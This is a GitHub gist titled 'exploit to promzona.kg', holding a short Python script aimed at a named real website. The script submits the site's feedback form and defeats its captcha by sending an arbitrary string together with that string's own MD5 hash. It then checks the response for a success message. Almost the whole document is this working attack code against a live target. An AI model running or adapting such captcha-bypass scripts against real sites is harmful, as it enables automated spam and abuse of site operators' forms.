Skip to content

Instantly share code, notes, and snippets.

@frydaykg
Last active December 26, 2015 11:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save frydaykg/7145609 to your computer and use it in GitHub Desktop.
Save frydaykg/7145609 to your computer and use it in GitHub Desktop.
exploit to promzona.kg
import urllib, urllib2
import md5
email = 're@re.com'
fio = 'abc def'
mes = 'weak captcha'
ciferki = 'her morzhovii'
kod_ciferki = md5.new(ciferki).hexdigest()
headers = { 'email' : email,
'fio' : fio,
'mes' : mes,
'kod_ciferki' : kod_ciferki,
'ciferki' : ciferki,
'info' : '123'}
data = urllib2.urlopen('http://promzona.kg/obratnaia_sviaz', urllib.urlencode(headers)).read()
print u'успешно отправлено' in data.decode('cp1251')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment